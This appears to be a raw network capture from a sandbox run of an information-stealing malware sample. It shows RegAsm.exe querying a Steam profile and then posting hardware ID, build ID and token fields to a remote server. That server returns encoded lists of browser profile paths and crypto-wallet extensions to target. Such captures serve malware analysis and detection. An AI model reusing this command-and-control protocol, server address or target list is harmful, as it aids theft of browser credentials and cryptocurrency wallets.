2024-09-21 11:34:33 UTC	8000	IN	Data Raw: 19 c4 06 07 cc 73 7e d9 d3 72 00 c8 0c f0 e7 91 6d 82 4f 4d 40 a3 55 19 a0 73 70 af 25 0f 0c 1a 9a ab f5 7b b0 8e 60 05 54 cf b8 40 ac d7 26 27 11 28 91 d6 c1 23 ea 45 ae 08 67 48 1c 36 f5 7f 26 b7 39 71 54 81 43 4a 5e b7 7a 91 20 9a 03 64 fd 0c d2 f5 a9 0c 16 f6 a9 54 40 35 54 4a 7a 4a 56 f1 39 f0 8d 26 1f bd 33 80 3d 73 d3 12 25 64 c7 04 e0 bd f4 74 79 1c 98 e6 b5 82 92 c1 c9 ef 86 e9 6b 01 92 75 2d ed c8 96 13 87 ff a5 4a fb da 69 ea 42 fe ac 2b f6 ae c0 47 90 a2 f4 aa 0f 51 d9 c0 3a 04 4d b4 43 a3 5a 31 ce d1 30 2b bf 28 4a 4e 4b a1 c5 18 37 0e ba c4 07 20 af d7 e4 b3 c9 70 ae be c4 cc c5 b3 cd 00 da a4 66 2b 41 83 f7 67 60 45 38 e3 a8 c5 15 cc ce 33 e5 14 46 1a ac ec 06 94 45 5d 5d 7b 0d 1f e5 cb ba 27 c6 be c9 e7 b2 81 ee a2 4b bd 98 29 d2 b3 9e 17 Data Ascii: s~rmOM@Usp%{`T@&'(#EgH6&9qTCJ^z dT@5TJzJV9&3=s%dtyku-JiB+GQ:MCZ10+(JNK7 pf+Ag`E83FE]]{'K)
2024-09-21 11:34:33 UTC	8000	IN	Data Raw: 99 b4 98 71 08 aa 1b dd c4 91 31 53 67 95 1c b8 33 f4 ea 0c 3e 4f 8b 86 e4 9e 31 5a 26 db 1f f0 b3 00 90 83 76 3a 14 98 c2 5d 16 05 6a 86 3d e2 aa f1 16 10 90 f7 2a c2 70 10 ae 40 30 a0 27 a8 bc b0 58 83 66 af 22 b0 7c 2d 80 f8 61 33 48 fc 37 c4 ae 7f 35 61 86 4c 15 fd 88 94 d7 e2 bd 93 25 5d c6 a4 13 c0 07 84 8a 71 14 70 39 c0 10 3c 72 7c fa c8 ce 7c 2e de b2 4a 2a 7f b6 ad 0f 61 36 a7 0e d5 4a f8 ab 8a a6 a9 4b ae 1d 3c c6 86 73 09 99 fd c0 c4 5a 02 ef 9a e8 7b 76 0a 20 26 60 f9 26 41 83 b7 df 0b 07 ef e7 95 eb a9 80 ff ba c8 fd ac ff 29 b9 54 23 0a e9 0a 62 bf 35 91 bb d4 0f 7d b0 13 f7 7d b6 5c 2c ea 59 c6 18 b4 70 c0 ea e7 cb 50 a6 14 bd 84 07 e2 67 0d d5 fc e8 01 f2 f4 97 fc 3f ff 39 a8 22 c5 e5 ed 6f 65 2c fd fc a0 7d 8a 7e e7 83 d3 01 d5 c8 2c fc Data Ascii: q1Sg3>O1Z&v:]j=p@0'Xf"\|-a3H75aL%]qp9<r\|\|.Ja6JK<sZ{v &`&A)T#b5}}\,YpPg?9"oe,}~,
2024-09-21 11:34:33 UTC	8000	IN	Data Raw: 0b ce bb 16 4c 8c 8d a3 a5 c5 e6 a0 cd c9 1a d3 3d 3b 64 50 16 14 05 1c 2d 73 5a 3a 1a 68 cd ba 57 b1 05 d9 f1 b4 e6 48 62 41 4b fc b8 b5 17 b9 ba 7a 2b 9e dc 07 a3 e4 8b 37 c9 a2 87 a8 a2 8f 1b 27 bd d4 6b 0b 20 c1 67 f9 55 5e 9d 55 f1 ce 62 6a 01 ac ec c5 86 01 c8 74 51 d0 62 e0 12 94 b4 61 29 ef d1 46 2d 39 b8 c5 84 20 75 26 73 8d 6b d9 41 7f f2 2f d9 22 71 80 71 33 7b 3a df 18 fc 99 81 d5 f2 16 16 dc 1d ce 16 a3 98 a7 bf 28 0a 22 64 32 7e ad f7 26 33 8f a4 3d df 47 71 fa 92 66 36 0c 5c 01 60 2a 9e 52 c4 aa 8d c7 c2 b4 de 45 85 27 e4 ac ab cc 86 a9 43 a2 0a 8c 70 03 13 6d 75 af a4 98 5f 5c fe 98 ef a6 aa fc 29 59 98 30 74 6a 05 65 14 29 19 54 56 4f 3f 13 13 f2 b5 85 1b 0c fc 32 a8 38 fc f4 9e 8b c1 88 c6 40 03 7e 77 19 09 7b 84 e6 f8 68 0d ca 57 e6 09 Data Ascii: L=;dP-sZ:hWHbAKz+7'k gU^UbjtQba)F-9 u&skA/"qq3{:("d2~&3=Gqf6\`*RE'Cpmu_\)Y0tje)TVO?28@~w{hW
2024-09-21 11:34:33 UTC	8000	IN	Data Raw: d5 09 e8 1e aa 48 16 68 c0 c9 5c c2 9e 9a ac 7b 4c 35 66 21 a7 46 7c a1 c2 70 25 e1 5a 10 4a 53 3a 9b 91 82 21 cf 31 99 b6 b2 a3 62 18 ca 07 90 72 18 a2 51 6a 9d 5f 1c 63 85 6b e1 f5 c5 96 c6 cd 5d 1c 97 d5 ea 1c 3a 98 cd 1f d3 ba 4f 6b 9f 99 db e8 62 ba 51 d1 f3 05 be 85 ad 4f f6 b1 21 44 59 84 fe 03 38 23 9b 11 42 12 54 6b 02 28 70 bd 41 4e 4f e3 99 7e b7 be df 29 8f 77 c3 4c 1a d6 0a dc b4 8c 5e 47 1b cd 67 b1 7e 93 60 bb 29 c8 08 5c ca 69 36 08 8e 25 90 95 07 f8 e3 36 b8 97 9b 18 4d d3 69 b6 ef c9 7c 0e 84 0d 1e 60 16 fe 0a 97 bd 62 46 83 9c 18 e3 58 41 2d 0e c4 0b a7 af 40 9c a1 2c 77 f4 f2 48 2b f8 b7 b7 3b 2d 41 92 93 57 72 52 00 04 8f 00 59 78 27 cf 46 7d e5 eb 26 a9 12 a0 b5 64 88 4f 7a dd 9a f6 08 12 e8 4f 7f 97 de 80 72 33 36 f3 d4 e1 99 ac bc Data Ascii: Hh\{L5f!F\|p%ZJS:!1brQj_ck]:OkbQO!DY8#BTk(pANO~)wL^Gg~`)\i6%6Mi\|`bFXA-@,wH+;-AWrRYx'F}&dOzOr36
2024-09-21 11:34:33 UTC	8000	IN	Data Raw: 01 39 22 b0 97 73 13 02 34 14 92 35 26 e5 0a 14 81 d1 c5 97 dd 72 d9 8e 1d f5 6c 18 1b 5c c4 ec 43 35 5e 80 77 8f cd ca 5a 09 42 0e 4b e0 50 72 4b c0 6b 09 e1 94 35 7f 8f 2c 48 ba 0c 40 6c 52 88 31 0d 20 93 6c b9 6d 77 38 a8 ff de 7e 11 95 d5 e8 fd e9 5c 07 6a 03 8a a5 54 9f 18 99 43 cf 95 7d 10 18 45 34 70 5b e5 2e 07 28 ef e9 fe fd 35 d6 62 96 ee ae 92 7f 20 68 b0 f1 8d f4 bb 35 27 1c c9 04 be 8d 94 e4 47 37 f6 ad c8 69 c0 ed d8 d6 da 34 8f d0 35 21 d0 74 6d 1f b0 27 f3 b9 c4 55 42 fd 8b 4b bb a4 82 db 9a a9 b7 0e a1 dc c9 17 18 07 90 ab 45 42 f0 dc ec 1f a8 c2 2f a1 ce 49 40 1a 53 ca 2a eb 04 3c 92 95 6c 42 b7 b8 2f dc 16 39 d4 e0 00 25 df 8e 90 69 e8 fc 79 11 37 97 82 4f 55 ed 0f 0c 02 a8 e3 2d 67 1c 4b c4 a6 13 7e 0e 96 c3 99 00 b4 49 37 ee d4 c8 3a Data Ascii: 9"s45&rl\C5^wZBKPrKk5,H@lR1 lmw8~\jTC}E4p[.(5b h5'G7i45!tm'UBKEB/I@S*<lB/9%iy7OU-gK~I7:
2024-09-21 11:34:33 UTC	8000	IN	Data Raw: 80 65 74 49 d0 02 36 55 23 3d 5c 72 b1 3a b7 c4 bf 24 76 85 ad c8 0b 2c 4f 61 60 80 c1 f4 83 21 90 5b 54 78 99 16 c5 d1 a8 5e 42 c5 52 a3 71 55 b1 c4 5e 3e ef 18 68 ed 68 f7 fa e9 48 e8 d5 0d 00 90 4a c4 7d 9d 94 55 da d4 7c 46 50 b1 0f 86 ca 41 b0 d9 e0 49 f3 d2 4c 74 89 c4 2b 85 0e 07 fe 92 af 02 f4 da dd 07 36 8a cc db 8f 58 64 13 21 59 fe 19 67 d2 ff 04 1d 8d 59 dc d9 47 73 0b 4c 21 7c f9 03 35 55 7c 92 d9 4e 76 63 a4 15 36 9b ce 73 7d f0 fa e6 27 f7 74 80 d7 79 75 85 38 4d 0c b2 f8 49 45 b6 cd 56 85 77 d1 15 39 df 0a 3d 73 12 49 98 74 38 68 41 93 6d a9 ca aa f8 bc 94 67 8e e7 24 ed ca e5 c4 b6 ed 99 de 13 7e c6 d0 b9 5f a9 f8 9a ce ab c5 35 74 15 e1 60 f1 03 8f ab 36 15 31 ee e6 f9 a2 bb c1 5c aa a0 9e 55 b7 35 fc 35 84 e4 bc 82 94 38 77 e8 9f 6d 1b Data Ascii: etI6U#=\r:$v,Oa`![Tx^BRqU^>hhHJ}U\|FPAILt+6Xd!YgYGsL!\|5U\|Nvc6s}'tyu8MIEVw9=sIt8hAmg$~_5t`61\U558wm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.9	49758	23.197.127.21	443	5752	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-21 11:34:41 UTC	119	OUT	GET /profiles/76561199780418869 HTTP/1.1 Host: steamcommunity.com Connection: Keep-Alive Cache-Control: no-cache
2024-09-21 11:34:42 UTC	1870	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Sat, 21 Sep 2024 11:34:42 GMT Content-Length: 34740 Connection: close Set-Cookie: sessionid=0563688e7661a57a860c53f1; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cd7fb65801182a5f50a3169fe2a0b7ef0; Path=/; Secure; HttpOnly; SameSite=None
2024-09-21 11:34:42 UTC	14514	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-09-21 11:34:42 UTC	10062	IN	Data Raw: 64 65 73 74 72 6f 79 57 68 65 6e 44 6f 6e 65 27 3a 20 66 61 6c 73 65 2c 20 27 74 6f 6f 6c 74 69 70 43 6c 61 73 73 27 3a 20 27 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 65 6e 74 27 2c 20 27 6f 66 66 73 65 74 59 27 3a 2d 36 2c 20 27 6f 66 66 73 65 74 58 27 3a 20 31 2c 20 27 68 6f 72 69 7a 6f 6e 74 61 6c 53 6e 61 70 27 3a 20 34 2c 20 27 74 6f 6f 6c 74 69 70 50 61 72 65 6e 74 27 3a 20 27 23 67 6c 6f 62 61 6c 5f 68 65 61 64 65 72 20 2e 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 61 69 6e 65 72 27 2c 20 27 63 6f 72 72 65 63 74 46 6f 72 53 63 72 65 65 6e 53 69 7a 65 27 3a 20 66 61 6c 73 65 7d 29 3b 0d 0a 09 09 7d 29 3b 0d 0a 09 3c 2f 73 63 72 69 70 74 3e 0d 0a 0d 0a 09 09 3c 64 69 76 20 69 64 3d 22 67 6c 6f 62 61 6c 5f 61 63 74 69 6f 6e 73 22 3e 0d 0a 09 09 09 3c 64 69 Data Ascii: destroyWhenDone': false, 'tooltipClass': 'supernav_content', 'offsetY':-6, 'offsetX': 1, 'horizontalSnap': 4, 'tooltipParent': '#global_header .supernav_container', 'correctForScreenSize': false});});</script><div id="global_actions"><di
2024-09-21 11:34:42 UTC	10164	IN	Data Raw: 6d 6d 75 6e 69 74 79 2e 61 6b 61 6d 61 69 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 43 4f 4d 4d 55 4e 49 54 59 5f 43 44 4e 5f 41 53 53 45 54 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 63 64 6e 2e 61 6b 61 6d 61 69 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 5c 2f 70 75 62 6c 69 63 5c 2f 61 73 73 65 74 73 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 53 54 4f 52 45 5f 43 44 4e 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 6f 72 65 2e 61 6b 61 6d 61 69 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 50 55 42 4c 49 43 5f 53 48 41 52 45 Data Ascii: mmunity.akamai.steamstatic.com\/","COMMUNITY_CDN_ASSET_URL":"https:\/\/cdn.akamai.steamstatic.com\/steamcommunity\/public\/assets\/","STORE_CDN_URL":"https:\/\/store.akamai.steamstatic.com\/","PUBLIC_SHARE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.9	49761	116.203.165.127	443	5752	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-21 11:34:43 UTC	188	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 116.203.165.127 Connection: Keep-Alive Cache-Control: no-cache
2024-09-21 11:34:44 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Sep 2024 11:34:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-21 11:34:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.9	49762	116.203.165.127	443	5752	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-21 11:34:45 UTC	280	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCGIJDBAFCBAAKECGDGC User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 116.203.165.127 Content-Length: 256 Connection: Keep-Alive Cache-Control: no-cache
2024-09-21 11:34:45 UTC	256	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 44 42 41 46 43 42 41 41 4b 45 43 47 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 37 31 43 45 31 36 43 46 45 35 33 34 32 32 38 33 31 39 34 30 33 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 44 42 41 46 43 42 41 41 4b 45 43 47 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 38 30 62 65 34 35 61 31 65 62 36 34 35 34 63 61 39 31 36 66 39 32 63 33 36 65 62 66 36 37 64 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 44 42 41 46 43 42 41 41 4b 45 43 47 44 47 43 2d 2d 0d Data Ascii: ------FCGIJDBAFCBAAKECGDGCContent-Disposition: form-data; name="hwid"C71CE16CFE534228319403-a33c7340-61ca------FCGIJDBAFCBAAKECGDGCContent-Disposition: form-data; name="build_id"d80be45a1eb6454ca916f92c36ebf67d------FCGIJDBAFCBAAKECGDGC--
2024-09-21 11:34:46 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Sep 2024 11:34:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-21 11:34:46 UTC	69	IN	Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 39 39 31 65 34 66 32 38 61 30 64 66 38 35 38 37 32 30 63 32 65 64 34 30 38 39 35 35 34 38 63 37 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|991e4f28a0df858720c2ed40895548c7\|1\|1\|1\|0\|0\|50000\|10

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.9	49763	116.203.165.127	443	5752	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-21 11:34:47 UTC	280	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFCGIIEHIEGDGDGCAEBG User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 116.203.165.127 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-09-21 11:34:47 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 46 43 47 49 49 45 48 49 45 47 44 47 44 47 43 41 45 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 39 31 65 34 66 32 38 61 30 64 66 38 35 38 37 32 30 63 32 65 64 34 30 38 39 35 35 34 38 63 37 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 47 49 49 45 48 49 45 47 44 47 44 47 43 41 45 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 38 30 62 65 34 35 61 31 65 62 36 34 35 34 63 61 39 31 36 66 39 32 63 33 36 65 62 66 36 37 64 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 47 49 49 45 48 49 45 47 44 47 44 47 43 41 45 42 47 0d 0a 43 6f 6e 74 Data Ascii: ------CFCGIIEHIEGDGDGCAEBGContent-Disposition: form-data; name="token"991e4f28a0df858720c2ed40895548c7------CFCGIIEHIEGDGDGCAEBGContent-Disposition: form-data; name="build_id"d80be45a1eb6454ca916f92c36ebf67d------CFCGIIEHIEGDGDGCAEBGCont
2024-09-21 11:34:47 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Sep 2024 11:34:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-21 11:34:47 UTC	1564	IN	Data Raw: 36 31 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4e 6f 63 6d 39 74 61 58 56 74 66 46 78 44 61 48 4a 76 62 57 6c 31 62 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 52 76 63 6d 4e 6f 66 46 78 55 62 33 4a 6a 61 46 78 56 63 32 56 79 49 45 Data Ascii: 610R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfENocm9taXVtfFxDaHJvbWl1bVxVc2VyIERhdGF8Y2hyb21lfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfFRvcmNofFxUb3JjaFxVc2VyIE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.9	49765	116.203.165.127	443	5752	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-21 11:34:49 UTC	280	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJEHIJEBKEBFBFHIIDHI User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 116.203.165.127 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-09-21 11:34:49 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 45 48 49 4a 45 42 4b 45 42 46 42 46 48 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 39 31 65 34 66 32 38 61 30 64 66 38 35 38 37 32 30 63 32 65 64 34 30 38 39 35 35 34 38 63 37 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 48 49 4a 45 42 4b 45 42 46 42 46 48 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 38 30 62 65 34 35 61 31 65 62 36 34 35 34 63 61 39 31 36 66 39 32 63 33 36 65 62 66 36 37 64 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 48 49 4a 45 42 4b 45 42 46 42 46 48 49 49 44 48 49 0d 0a 43 6f 6e 74 Data Ascii: ------HJEHIJEBKEBFBFHIIDHIContent-Disposition: form-data; name="token"991e4f28a0df858720c2ed40895548c7------HJEHIJEBKEBFBFHIIDHIContent-Disposition: form-data; name="build_id"d80be45a1eb6454ca916f92c36ebf67d------HJEHIJEBKEBFBFHIIDHICont
2024-09-21 11:34:50 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Sep 2024 11:34:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-21 11:34:50 UTC	5685	IN	Data Raw: 31 36 32 38 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 Data Ascii: 1628TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.9	49766	116.203.165.127	443	5752	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-21 11:34:51 UTC	280	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBFHDHJKKJDHJJJJKEGH User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 116.203.165.127 Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache
2024-09-21 11:34:51 UTC	332	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 39 31 65 34 66 32 38 61 30 64 66 38 35 38 37 32 30 63 32 65 64 34 30 38 39 35 35 34 38 63 37 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 38 30 62 65 34 35 61 31 65 62 36 34 35 34 63 61 39 31 36 66 39 32 63 33 36 65 62 66 36 37 64 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 48 0d 0a 43 6f 6e 74 Data Ascii: ------DBFHDHJKKJDHJJJJKEGHContent-Disposition: form-data; name="token"991e4f28a0df858720c2ed40895548c7------DBFHDHJKKJDHJJJJKEGHContent-Disposition: form-data; name="build_id"d80be45a1eb6454ca916f92c36ebf67d------DBFHDHJKKJDHJJJJKEGHCont
2024-09-21 11:34:51 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Sep 2024 11:34:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
